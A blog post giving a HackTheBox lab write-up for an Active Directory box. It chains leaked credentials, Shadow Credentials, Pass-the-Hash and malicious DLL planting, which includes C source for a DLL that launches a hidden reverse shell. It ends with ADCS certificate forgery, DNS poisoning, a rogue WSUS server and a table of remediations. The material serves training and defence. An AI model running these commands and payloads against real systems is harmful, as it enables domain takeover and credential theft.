DEV Community

Cover image for HackTheBox : Logging Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox : Logging Writeup

#cybersecurity #writeup #ctf #hackthebox

Summary

Logging is a Windows Active Directory box built around a long, credential-chaining path from a leaked service account password to full domain compromise. Initial access starts with SMB access to a Logs share that leaks hardcoded credentials for svc_recovery, which turn out to be one increment off the real (rotated) password. That account can't authenticate over SMB/LDAP directly (STATUS_ACCOUNT_RESTRICTION), so Kerberos is used instead. BloodHound reveals GenericWrite over the gMSA msa_health$; since GenericWrite doesn't allow a direct password reset, a Shadow Credentials attack is used to pull its NT hash, and Pass-the-Hash grants a shell. From there, a writable share abused by a SYSTEM-run scheduled task (UpdateChecker Agent) allows DLL-planting via a ZIP-extraction flaw in UpdateMonitor.exe, giving a shell as jaylee.clifton and the user flag.

Privilege escalation to Administrator abuses a misconfigured ADCS template (UpdateSrv, with ENROLLEE_SUPPLIES_SUBJECT) to forge a certificate for wsus.logging.htb, a rogue machine account to gain DNS-write rights, and DNS poisoning to redirect the domain's WSUS client to an attacker-controlled HTTPS WSUS server (via a patched pywsus). The forced update sync executes a malicious package as SYSTEM, yielding full domain compromise and the root flag.

Key techniques: SMB share credential leak → password-rotation guessing → Kerberos-only service account → BloodHound GenericWrite abuse → Shadow Credentials → Pass-the-Hash → scheduled task ZIP-extraction DLL planting → ADCS ENROLLEE_SUPPLIES_SUBJECT template abuse → machine account DNS record abuse → WSUS HTTPS MITM → SYSTEM.

1. Reconnaissance

An nmap scan was run to identify open ports and services on the target.

nmap -sC -sV -A <MACHINE-IP>
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-20 06:28 -0400
Nmap scan report for DC01.logging.htb (<MACHINE-IP>)
Host is up (0.31s latency).

PORT     STATE  SERVICE       VERSION
53/tcp   open   domain        Simple DNS Plus
80/tcp   open   http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "IIS Windows Server"
88/tcp   open   kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-20 17:28:58Z)
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
326/tcp  closed unknown
389/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-20T17:29:55+00:00; +6h59m59s from scanner time.
445/tcp  open   microsoft-ds?
464/tcp  open   kpasswd5?
593/tcp  open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open   ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-20T17:29:56+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open   ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-20T17:29:56+00:00; +6h59m59s from scanner time.
5985/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-20T17:29:48
|_  start_date: N/A
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Nmap done: 1 IP address (1 host up) scanned in 66.74 seconds
Enter fullscreen mode Exit fullscreen mode

The scan revealed the domain names logging.htb and dc01.logging.htb, confirming this is a Windows Active Directory Domain Controller. HTB provided starting credentials for this box.

2. Enumeration

2.1 Credential Validation and Share Discovery

The provided credentials were checked for SMB authentication:

nxc smb <MACHINE-IP> -u 'Wallace.everette' -p 'Welcome2026@'
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] logging.htb\Wallace.everette:Welcome2026@
Enter fullscreen mode Exit fullscreen mode

Authentication succeeded. Shares, groups, and users were then enumerated with the credentials:

nxc smb <MACHINE-IP> -u 'Wallace.everette' -p 'Welcome2026@' --shares
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] logging.htb\Wallace.everette:Welcome2026@
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated shares
SMB   <MACHINE-IP>   445   DC01   Share           Permissions     Remark
SMB   <MACHINE-IP>   445   DC01   -----           -----------     ------
SMB   <MACHINE-IP>   445   DC01   ADMIN$                          Remote Admin
SMB   <MACHINE-IP>   445   DC01   C$                              Default share
SMB   <MACHINE-IP>   445   DC01   IPC$            READ            Remote IPC
SMB   <MACHINE-IP>   445   DC01   Logs            READ
SMB   <MACHINE-IP>   445   DC01   NETLOGON        READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   SYSVOL          READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.
Enter fullscreen mode Exit fullscreen mode

Most of these are default Windows shares — ADMIN$ and C$ require administrative privileges, while IPC$, NETLOGON, and SYSVOL are commonly accessible to authenticated users. Logs and WSUSTemp are non-standard and worth investigating.

2.2 Logs Share Analysis 

smbclient //<MACHINE-IP>/Logs -U 'logging.htb\wallace.everette%Welcome2026@'
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> ls
  .                                   D        0  Thu Apr 16 19:10:09 2026
  ..                                  D        0  Thu Apr 16 19:10:09 2026
  Audit_Heartbeat.log                 A     1294  Thu Apr 16 19:10:09 2026
  IdentitySync_Trace_20260219.log     A     8488  Thu Apr 16 19:10:09 2026
  Service_State.log                   A      468  Thu Apr 16 19:10:09 2026
  TaskMonitor.log                     A     1170  Thu Apr 16 19:10:09 2026

smb: \> mget *
Enter fullscreen mode Exit fullscreen mode

The log files were downloaded and analyzed locally. IdentitySync_Trace_20260219.log revealed hardcoded credentials used by the IdentitySync service:

BindUser: LOGGING\svc_recovery
BindPass: Em3rg3ncyPa$$2025
Enter fullscreen mode Exit fullscreen mode

However, the same log also showed LDAP authentication failures (LDAP_INVALID_CREDENTIALS), indicating the password had since been rotated. Given the visible year-based pattern (2025), a simple increment was tried:

Em3rg3ncyPa$$2026
Enter fullscreen mode Exit fullscreen mode

Testing the guessed credentials:

crackmapexec smb <MACHINE-IP> -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
SMB   <MACHINE-IP>   445   DC01   [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION
Enter fullscreen mode Exit fullscreen mode

STATUS_ACCOUNT_RESTRICTION confirms the credentials are valid but the account is restricted from authenticating over SMB — likely due to logon-type restrictions common on service accounts. The earlier LDAP bind failures were a result of the same restriction, not invalid credentials.

To work around this, Kerberos authentication was used instead — requesting a TGT and authenticating via ticket-based auth:

impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'
export KRB5CCNAME=svc_recovery.ccache
impacket-smbclient -k -no-pass logging.htb/svc_recovery@DC01.logging.htb
Enter fullscreen mode Exit fullscreen mode

2.3 BloodHound Analysis

AD data was collected and analyzed with BloodHound:

bloodhound-python -d logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -ns <MACHINE-IP> -c All --zip
Enter fullscreen mode Exit fullscreen mode

Ingesting the data revealed that svc_recovery holds GenericWrite over the account msa_health$. GenericWrite allows modification of certain object attributes, but does not by itself guarantee the ability to reset a password.

An attempt to reset msa_health$'s password using this permission was made:

bloodyAD --host DC01.logging.htb --dc-ip <MACHINE-IP> \
  -d logging.htb -u svc_recovery -k --secure \
  set password msa_health$ 'NewP@ssw0rd123!'
Enter fullscreen mode Exit fullscreen mode

This failed with an LDAP modification error — confirming that GenericWrite alone does not grant permission to modify the unicodePwd attribute.

To work around this, a Shadow Credentials attack was performed instead, allowing authentication as msa_health$ by adding an alternative credential (a certificate-backed key) rather than resetting the password:

certipy shadow auto -u svc_recovery@logging.htb -k -dc-ip <MACHINE-IP> -target DC01.logging.htb -account 'msa_health'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '5607c33eebe94d49b99c69c174758629'
[*] Adding Key Credential with device ID '5607c33eebe94d49b99c69c174758629' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '5607c33eebe94d49b99c69c174758629' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': <REDACTED-NT-HASH>
Enter fullscreen mode Exit fullscreen mode

With the NT hash for msa_health$, a Pass-the-Hash attack grants a shell:

evil-winrm -i DC01.logging.htb -u msa_health$ -H <REDACTED-NT-HASH>

*Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$
*Evil-WinRM* PS C:\Users\msa_health$\Documents> dir

    Directory: C:\Users\msa_health$\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/17/2026   9:02 AM           1059 monitor.ps1
Enter fullscreen mode Exit fullscreen mode

monitor.ps1 was downloaded for analysis, revealing how a scheduled task ("UpdateChecker Agent") generates logs and interacts with a shared directory.

3. Scheduled Task Analysis and Local Privilege Escalation

3.1 Task Inspection

Direct access via schtasks was restricted, so the task was queried via the COM Schedule Service interface instead:

$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task | Format-List *
Enter fullscreen mode Exit fullscreen mode

Key observations:

  1. The task runs every 3 minutes.
  2. It executes C:\Program Files\UpdateMonitor\UpdateMonitor.exe.
  3. The task was created by logging\Administrator, meaning it runs with high privileges.

3.2 Writable Directory Discovery

monitor.ps1 revealed that the task writes files to C:\Share. This was confirmed with an ACL check:

icacls C:\Share
C:\Share logging\Domain Users:(OI)(CI)(RX)
         NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
         BUILTIN\Administrators:(I)(OI)(CI)(F)
         BUILTIN\Users:(I)(OI)(CI)(RX)
         BUILTIN\Users:(I)(CI)(AD)
         BUILTIN\Users:(I)(CI)(WD)
         CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Enter fullscreen mode Exit fullscreen mode

C:\Share grants BUILTIN\Users the (WD) (write data) permission — meaning any authenticated user can write files to this location.

3.3 Source Code Analysis

UpdateMonitor.exe was downloaded locally for analysis:

file UpdateMonitor.exe
UpdateMonitor.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
Enter fullscreen mode Exit fullscreen mode

This is a .NET assembly. Although the host OS is x64, the binary itself is x86 — meaning any native DLL used against it must also be compiled as x86.

ilspycmd UpdateMonitor.exe > output.cs
Enter fullscreen mode Exit fullscreen mode

Decompilation revealed the program:

  • Looks for C:\ProgramData\UpdateMonitor\Settings_Update.zip
  • Extracts it to C:\Program Files\UpdateMonitor\bin\
  • Loads settings_update.dll from the extracted contents and calls its PreUpdateCheck function

Key takeaway: The scheduled task runs as Administrator and blindly extracts a ZIP file from a user-writable directory without validating its contents. This means an attacker-supplied DLL, if named and packaged correctly, will be loaded and executed with elevated privileges.

Requirements for the exploit:

  • DLL filename must be exactly settings_update.dll
  • It must be zipped as Settings_Update.zip
  • The ZIP must be placed at C:\ProgramData\UpdateMonitor\

4. Exploitation — Local Privilege Escalation to jaylee.clifton

Step 1 — Generate a PowerShell reverse shell payload (e.g. via revshells.com, Windows / PowerShell #3 (Base64), pointing LHOST/LPORT at the attacking box).

Step 2 — Create the malicious DLL (settings_update.c):

#include <windows.h>
#include <stdlib.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){
    if (fdwReason == DLL_PROCESS_ATTACH){
        system("powershell -nop -w hidden -e <BASE64_PAYLOAD>");
    }
    return TRUE;
}
Enter fullscreen mode Exit fullscreen mode

Step 3 — Compile as x86 (matching the target .NET binary's architecture):

i686-w64-mingw32-gcc settings_update.c -shared -o settings_update.dll
Enter fullscreen mode Exit fullscreen mode

Step 4 — Package with the required filename:

zip Settings_Update.zip settings_update.dll
Enter fullscreen mode Exit fullscreen mode

Step 5 — Start a listener and upload the ZIP via the msa_health$ Evil-WinRM shell into C:\ProgramData\UpdateMonitor:

upload /path/to/Settings_Update.zip
Enter fullscreen mode Exit fullscreen mode

Within a few minutes, the scheduled task triggers and a callback is received:

penelope -p 4444 listen
[+] Listening for reverse shells on 0.0.0.0:4444
[+] [New Reverse Shell] => DC01 <MACHINE-IP> Microsoft_Windows_Server_2019_Standard-x64-based_PC 👤 logging\jaylee.clifton Session ID <1>
[+] Interacting with session [1]
PS C:\Users\jaylee.clifton\Desktop> dir C:\Users\jaylee.clifton\Desktop

    Directory: C:\Users\jaylee.clifton\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        4/23/2026   2:03 PM             34 user.txt
Enter fullscreen mode Exit fullscreen mode

User flag obtained.

type C:\Users\jaylee.clifton\Desktop\user.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

5. Privilege Escalation — WSUS HTTPS MITM

5.1 WSUS Configuration Discovery

Files retrieved earlier revealed the target is configured to use a staging WSUS server at wsus.logging.htb. A scheduled task named ForceSync, running every 120 seconds, forcibly resets Windows Update components and triggers immediate synchronization — this significantly narrows the attack window needed compared to waiting on the default update cycle, but also makes exploitation fast once set up.

5.2 ADCS Template Enumeration

Available certificate templates were enumerated with Certify:

.\Certify.exe cas /ca:DC01.logging.htb\logging-DC01-CA /domain=logging.htb /ldapserver:DC01.logging.htb /showAllPermissions
Enter fullscreen mode Exit fullscreen mode

A custom template, UpdateSrv, stood out and was enumerated further:

.\Certify.exe find /template:UpdateSRV
Enter fullscreen mode Exit fullscreen mode

Key findings:

Template Name: UpdateSrv
Schema Version: 2
msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
Authorized Signatures Required: 0
EKU: Server Authentication
Enrollment Rights:
    logging\Domain Admins
    logging\Enterprise Admins
    logging\IT
Enter fullscreen mode Exit fullscreen mode

Analysis:

  1. ENROLLEE_SUPPLIES_SUBJECT is enabled — unlike standard templates bound to the AD object's own name, this lets the requester supply an arbitrary subject/hostname.
  2. No manager approval required — certificates are issued immediately.
  3. IT group enrollment rights — jaylee.clifton is a member of IT, and is therefore eligible to enroll.
  4. Server Authentication EKU — valid for HTTPS/TLS, which is exactly what's needed to impersonate an internal HTTPS service.

Attack decision: target wsus.logging.htb specifically, since WSUS clients run update payloads as SYSTEM, apply updates automatically with no user interaction, and implicitly trust any certificate issued by the domain CA — meaning certificate trust here effectively equals server trust.

5.3 Rogue Machine Account

DNS records couldn't be modified directly with the current principal, so a computer account was created (abusing MachineAccountQuota) to act as an authenticated principal for later LDAP/DNS operations:

impacket-addcomputer \
  -computer-name 'attacker01$' \
  -computer-pass 'SuperP@ss!' \
  -hashes ':<REDACTED-NT-HASH>' \
  -dc-ip <MACHINE-IP> \
  'logging.htb/msa_health$'

[*] Successfully added machine account attacker01$ with password SuperP@ss!.
Enter fullscreen mode Exit fullscreen mode

5.4 Certificate Request

Plaintext authentication as jaylee.clifton wasn't directly usable due to Kerberos enforcement, so a TGT was extracted from the existing shell session with Rubeus and converted for use with Impacket/Certipy:

.\Rubeus.exe tgtdeleg /nowrap

Action: Dump Kerberos Ticket Data (Current User)

  UserName    : jaylee.clifton
  Domain      : logging
  ...
    ServiceName : krbtgt/LOGGING.HTB
    Flags       : name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType     : aes256_cts_hmac_sha1
    Base64EncodedTicket:
      <BASE64_TICKET>
Enter fullscreen mode Exit fullscreen mode 
echo '<BASE64_TICKET>' | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi jaylee.ccache
Enter fullscreen mode Exit fullscreen mode

Note: clock skew with the DC needed to be corrected for Kerberos auth to succeed.

A certificate was requested using the UpdateSrv template, supplying wsus.logging.htb as the subject:

certipy req -u 'jaylee.clifton@logging.htb' -k -dc-ip <MACHINE-IP> \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' \
  -upn 'wsus.logging.htb' -dns 'wsus.logging.htb' -target dc01.logging.htb

Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'wsus.logging.htb'
    DNS Host Name: 'wsus.logging.htb'
[*] Saving certificate and private key to 'wsus.logging.htb_wsus.pfx'
Enter fullscreen mode Exit fullscreen mode

Because ENROLLEE_SUPPLIES_SUBJECT is enabled, the CA does not validate that the requester actually owns the wsus.logging.htb identity, allowing impersonation of an internal service.

The public certificate and private key were extracted for use with a rogue HTTPS server:

certipy cert -pfx wsus.logging.htb_wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.logging.htb_wsus.pfx -nocert -out wsus.key
Enter fullscreen mode Exit fullscreen mode

5.5 DNS Manipulation

Using the rogue machine account, the DNS record for wsus was pointed at the attacker's IP:

bloodyAD -u 'attacker01$' -p 'SuperP@ss!' -d logging.htb --host <MACHINE-IP> \
  add dnsRecord wsus <ATTACKER-IP>

[+] wsus.logging.htb has been successfully added
Enter fullscreen mode Exit fullscreen mode

Verified from the jaylee.clifton shell:

nslookup wsus
Server:  localhost
Address:  127.0.0.1

Name:    wsus.logging.htb
Address:  <ATTACKER-IP>
Enter fullscreen mode Exit fullscreen mode

5.6 Malicious WSUS Server

With DNS redirected and a CA-signed certificate for wsus.logging.htb in hand, a rogue WSUS server was stood up using a patched version of pywsus with HTTPS support added (the upstream project only supports HTTP):

git clone https://github.com/GoSecure/pywsus
cd pywsus
git fetch origin pull/18/head:pr18
git checkout pr18
pip install -r requirements.txt
Enter fullscreen mode Exit fullscreen mode

A payload was generated via revshells.com, a listener started, and the rogue WSUS server launched:

rlwrap nc -lnvp 4443
Enter fullscreen mode Exit fullscreen mode 
python3 pywsus_https.py -H wsus.logging.htb -p 8531 \
  -e PsExec64.exe \
  -c "powershell -nop -w hidden -e <BASE64_PAYLOAD>" \
  --cert wsus.crt --key wsus.key
Enter fullscreen mode Exit fullscreen mode

When the ForceSync task next triggered the client's WSUS sync, the domain controller connected to the rogue server, trusted its certificate, and executed the payload as SYSTEM:

rlwrap nc -lvnp 4443
listening on [any] 4443 ...
connect to [<ATTACKER-IP>] from (UNKNOWN) [<MACHINE-IP>] 63262

PS C:\Windows\SoftwareDistribution\Download\Install> whoami
logging\administrator
Enter fullscreen mode Exit fullscreen mode

5.7 Root Flag 

PS C:\Users> Get-ChildItem C:\ -Recurse -Filter root.txt -ErrorAction SilentlyContinue | Select-Object FullName

FullName
--------
C:\Users\toby.brynleigh\Desktop\root.txt

PS C:\Users> type C:\Users\toby.brynleigh\Desktop\root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

6. Attack Chain Summary 

Logging Attack Chain
│
├─ Reconnaissance
│   ├─ Nmap → AD Domain Controller (DC01.logging.htb)
│   ├─ DNS discovery → logging.htb / dc01.logging.htb
│   └─ Identify services: LDAP, SMB, Kerberos, WSUS, HTTP
│
├─ Initial Access (SMB / Credential Leak)
│   ├─ Access Logs share via SMB
│   ├─ Extract IdentitySync credentials
│   └─ svc_recovery account discovered (password rotated, guessed via increment)
│
├─ Authentication Bypass
│   ├─ Account restricted from SMB/LDAP login (STATUS_ACCOUNT_RESTRICTION)
│   ├─ Kerberos TGT requested (Impacket getTGT)
│   └─ Ticket-based authentication achieved
│
├─ Domain Enumeration
│   ├─ BloodHound collection (svc_recovery)
│   ├─ Identify GenericWrite → msa_health$
│   └─ Attack path confirmed
│
├─ Credential Abuse / AD Privilege Escalation
│   ├─ Attempt password reset → failed (GenericWrite insufficient)
│   ├─ Shadow Credentials attack (Certipy)
│   └─ NT hash of msa_health$ obtained
│
├─ Lateral Movement
│   ├─ Pass-the-Hash via Evil-WinRM
│   ├─ Access to msa_health$ shell
│   └─ Discover scheduled task: UpdateChecker Agent
│
├─ Local Privilege Escalation
│   ├─ Task writes to shared, world-writable directory (C:\Share)
│   ├─ UpdateMonitor.exe analysis (.NET/x86 binary)
│   ├─ Unsanitized ZIP extraction vulnerability identified
│   └─ Malicious DLL execution → shell as jaylee.clifton (user flag)
│
├─ ADCS Abuse
│   ├─ UpdateSrv template abuse (ENROLLEE_SUPPLIES_SUBJECT)
│   ├─ Certificate forged for wsus.logging.htb
│   └─ Server-identity spoofing capability gained
│
├─ DNS / Infrastructure Manipulation
│   ├─ MachineAccountQuota abused (attacker01$)
│   ├─ DNS record modified → wsus.logging.htb → attacker IP
│   └─ Traffic redirected to attacker-controlled system
│
├─ WSUS Exploitation (Final Privilege Escalation)
│   ├─ Rogue WSUS server deployed (patched pywsus, HTTPS)
│   ├─ Forged TLS certificate used to establish trust
│   ├─ ForceSync task triggers near-immediate update sync
│   └─ SYSTEM-level payload execution
│
└─ Domain Compromise
    ├─ SYSTEM/Administrator access on DC01 achieved
    ├─ Full domain control obtained
    └─ root.txt retrieved
Enter fullscreen mode Exit fullscreen mode

7. Key Vulnerabilities

Stage Vulnerability / Weakness Impact
Initial Access Credential leakage in SMB Logs share svc_recovery credentials exposed
Authentication Control Weak/guessable service-account password rotation policy Rotated password recovered via increment pattern
Authentication Control Overly permissive service account logon restrictions Forced (but still viable) Kerberos-only authentication
AD Misconfiguration GenericWrite on msa_health$ Shadow Credentials attack possible
AD Security Design Improper ACLs on service/gMSA accounts NT hash extraction
Local Privilege Escalation World-writable directory used by a SYSTEM-run scheduled task SYSTEM-context code execution via DLL planting
Task Security Unsanitized ZIP extraction in UpdateMonitor.exe Arbitrary malicious payload execution
ADCS Configuration ENROLLEE_SUPPLIES_SUBJECT enabled on UpdateSrv template Certificate-based service impersonation
Certificate Trust Model Weak validation of internal service certificates WSUS server spoofing
DNS Security MachineAccountQuota allows unprivileged DNS record modification Traffic redirection / MITM
WSUS Trust Mechanism Trusted update source without additional out-of-band verification Remote SYSTEM code execution

8. Remediations

Vulnerability Recommendation
Credentials stored in plaintext logs on an SMB share Never log credentials, even for internal debugging; restrict Logs share to a dedicated service group and audit share ACLs regularly
Predictable password rotation pattern Enforce truly random password rotation (e.g., managed via a vault/gMSA) rather than a human-guessable year-increment scheme
Service account restricted from SMB/LDAP but usable over Kerberos Apply logon restrictions consistently across all protocols (Deny logon locally, Deny logon through Remote Desktop, and equivalent Kerberos-level restrictions), not just SMB/NTLM
Excessive GenericWrite grants on privileged/gMSA accounts Apply least-privilege ACLs; audit BloodHound-style attack paths regularly and remove unnecessary write permissions on sensitive AD objects
Shadow Credentials feasible against gMSA Monitor for msDS-KeyCredentialLink attribute changes; alert on unexpected Key Credential additions
World-writable directory consumed by a privileged scheduled task Restrict write access on C:\Share (or any directory read by privileged automation) to only the accounts/services that need it; never let a SYSTEM/Administrator task trust files placed by standard users
Unsanitized ZIP extraction and DLL loading in UpdateMonitor.exe Validate archive contents and enforce code signing before loading any DLL; run the update process with the least privilege required rather than as Administrator
ENROLLEE_SUPPLIES_SUBJECT on a broadly-enrollable certificate template Remove ENROLLEE_SUPPLIES_SUBJECT unless strictly required; restrict enrollment rights to the minimum necessary security group and require manager approval for sensitive templates
MachineAccountQuota left at default (10) Set ms-DS-MachineAccountQuota to 0 for non-administrative users unless machine joins are a required workflow
Unauthenticated/implicit trust of internal WSUS traffic Enforce WSUS-over-HTTPS with certificate pinning or mutual TLS, and monitor DNS record changes for infrastructure hostnames like wsus.<domain>

Top comments (0)